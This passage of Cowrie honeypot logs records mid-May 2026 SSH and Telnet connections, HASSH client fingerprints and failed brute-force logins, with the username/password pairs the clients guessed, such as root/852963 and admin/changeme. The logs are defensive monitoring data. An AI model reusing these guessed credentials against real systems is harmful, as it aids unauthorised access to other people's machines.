{"eventid":"cowrie.login.failed","username":"admin","password":"changeme","message":"login attempt [admin/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:22.712585Z","src_ip":"178.20.210.186","session":"b7266c2f7d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:24.134412Z","src_ip":"178.20.210.186","session":"b7266c2f7d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36924,"dst_ip":"10.17.0.5","dst_port":23,"session":"68562a308c72","protocol":"telnet","message":"New connection: 50.6.8.71:36924 (10.17.0.5:23) [session: 68562a308c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:31.580210Z"}
{"eventid":"cowrie.session.closed","duration":35.06750440597534,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:33.388755Z","src_ip":"23.94.28.189","session":"06ab2861704c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":38636,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1993dc35daf","protocol":"ssh","message":"New connection: 2.57.122.238:38636 (10.17.0.5:22) [session: d1993dc35daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:35.993246Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:36.100831Z","src_ip":"2.57.122.238","session":"d1993dc35daf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41736,"dst_ip":"10.17.0.5","dst_port":23,"session":"25a22d2f5042","protocol":"telnet","message":"New connection: 50.6.8.71:41736 (10.17.0.5:23) [session: 25a22d2f5042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:40.642177Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":39948,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd3b84682e8","protocol":"telnet","message":"New connection: 23.94.28.189:39948 (10.17.0.5:23) [session: fcd3b84682e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:51.731286Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":33830,"dst_ip":"159.203.135.109","dst_port":22,"session":"a44f879e2c15","protocol":"ssh","message":"New connection: 87.106.29.151:33830 (159.203.135.109:22) [session: a44f879e2c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:54.698766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:54.704240Z","src_ip":"87.106.29.151","session":"a44f879e2c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:54.797128Z","src_ip":"87.106.29.151","session":"a44f879e2c15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whmapi","password":"YourPassword@6942","message":"login attempt [whmapi/YourPassword@6942] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:55.199909Z","src_ip":"87.106.29.151","session":"a44f879e2c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:28:56.296058Z","src_ip":"87.106.29.151","session":"a44f879e2c15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":59772,"dst_ip":"159.203.135.109","dst_port":22,"session":"05d8b2db926e","protocol":"ssh","message":"New connection: 89.108.118.91:59772 (159.203.135.109:22) [session: 05d8b2db926e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:00.516788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:00.525495Z","src_ip":"89.108.118.91","session":"05d8b2db926e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:00.668289Z","src_ip":"89.108.118.91","session":"05d8b2db926e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"852963","message":"login attempt [root/852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:01.097141Z","src_ip":"89.108.118.91","session":"05d8b2db926e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:02.246937Z","src_ip":"89.108.118.91","session":"05d8b2db926e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36574,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ba087c95bb","protocol":"telnet","message":"New connection: 50.6.8.71:36574 (10.17.0.5:23) [session: 90ba087c95bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:04.450132Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.229.41.7","src_port":57408,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae730475f744","protocol":"ssh","message":"New connection: 111.229.41.7:57408 (159.203.135.109:22) [session: ae730475f744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:06.378402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:06.383228Z","src_ip":"111.229.41.7","session":"ae730475f744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:06.606455Z","src_ip":"111.229.41.7","session":"ae730475f744","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wibble","message":"login attempt [root/wibble] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:07.530560Z","src_ip":"111.229.41.7","session":"ae730475f744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":36978,"dst_ip":"159.203.135.109","dst_port":22,"session":"47a94fae169f","protocol":"ssh","message":"New connection: 38.93.206.2:36978 (159.203.135.109:22) [session: 47a94fae169f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:07.926367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:07.934594Z","src_ip":"38.93.206.2","session":"47a94fae169f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:07.985017Z","src_ip":"38.93.206.2","session":"47a94fae169f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dasha123","message":"login attempt [root/dasha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:08.137127Z","src_ip":"38.93.206.2","session":"47a94fae169f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:08.756920Z","src_ip":"111.229.41.7","session":"ae730475f744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:09.191275Z","src_ip":"38.93.206.2","session":"47a94fae169f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.695877075195312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:12.337961Z","src_ip":"50.6.8.71","session":"25a22d2f5042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.15439033508301,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:12.734482Z","src_ip":"50.6.8.71","session":"68562a308c72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.82.163.231","src_port":46722,"dst_ip":"159.203.135.109","dst_port":23,"session":"d014129d2025","protocol":"telnet","message":"New connection: 47.82.163.231:46722 (159.203.135.109:23) [session: d014129d2025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:17.450688Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35150,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac7589df5397","protocol":"ssh","message":"New connection: 80.94.92.184:35150 (159.203.135.109:22) [session: ac7589df5397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:21.603639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:21.803325Z","src_ip":"80.94.92.184","session":"ac7589df5397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:21.809962Z","src_ip":"80.94.92.184","session":"ac7589df5397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:23.631347Z","src_ip":"80.94.92.184","session":"ac7589df5397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:24.938662Z","src_ip":"80.94.92.184","session":"ac7589df5397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46688,"dst_ip":"10.17.0.5","dst_port":22,"session":"0343bb6de17a","protocol":"ssh","message":"New connection: 109.172.54.111:46688 (10.17.0.5:22) [session: 0343bb6de17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:31.560575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:31.565376Z","src_ip":"109.172.54.111","session":"0343bb6de17a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:31.661182Z","src_ip":"109.172.54.111","session":"0343bb6de17a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazzaq","message":"login attempt [root/qazzaq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:31.949998Z","src_ip":"109.172.54.111","session":"0343bb6de17a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.69662427902222,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:32.427813Z","src_ip":"23.94.28.189","session":"fcd3b84682e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:33.069189Z","src_ip":"109.172.54.111","session":"0343bb6de17a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53572,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d1faeb7d6f","protocol":"telnet","message":"New connection: 50.6.8.71:53572 (10.17.0.5:23) [session: 51d1faeb7d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:34.670015Z"}
{"eventid":"cowrie.session.closed","duration":31.797260522842407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:36.247254Z","src_ip":"50.6.8.71","session":"90ba087c95bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35420,"dst_ip":"10.17.0.5","dst_port":23,"session":"69a6b1d9c9af","protocol":"telnet","message":"New connection: 50.6.8.71:35420 (10.17.0.5:23) [session: 69a6b1d9c9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:53.348547Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35428,"dst_ip":"10.17.0.5","dst_port":23,"session":"d49afafd95d0","protocol":"telnet","message":"New connection: 50.6.8.71:35428 (10.17.0.5:23) [session: d49afafd95d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:54.053059Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":39324,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eb9fa3fdf26","protocol":"ssh","message":"New connection: 87.106.29.151:39324 (159.203.135.109:22) [session: 9eb9fa3fdf26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:58.484600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:29:58.489265Z","src_ip":"87.106.29.151","session":"9eb9fa3fdf26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 